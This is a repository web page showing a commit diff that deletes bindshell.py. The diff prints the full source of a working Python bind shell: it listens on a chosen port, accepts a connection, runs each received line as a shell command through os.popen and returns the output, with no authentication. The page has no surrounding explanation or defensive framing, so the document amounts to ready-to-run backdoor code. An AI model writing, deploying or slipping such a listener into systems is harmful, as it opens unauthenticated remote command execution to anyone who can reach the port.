summaryrefslogtreecommitdiff
path: root/bindshell.py
diff options
context:
space:
mode:
Diffstat (limited to 'bindshell.py')
-rw-r--r--bindshell.py31
1 files changed, 0 insertions, 31 deletions
diff --git a/bindshell.py b/bindshell.py
deleted file mode 100644
index 5213002..0000000
--- a/bindshell.py
+++ /dev/null
@@ -1,31 +0,0 @@
-#!/usr/bin/env python
-
-import sys, os, socket
-
-def bindshell(port):
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('',port))
- s.listen()
- conn,addr = s.accept()
- while 1:
- data = conn.recv(1024)
- reponse = os.popen(data.decode().strip()).read()
- conn.sendall(str(reponse).encode())
- except KeyboardInterrupt:
- s.close()
- finally:
- print("bye")
-
-if __name__ == "__main__":
- try:
- bindshell(int(sys.argv[1]))
- except IndexError:
- print(f"{sys.argv[0]} demande un port en agument")
-
-
-
-
-
-
-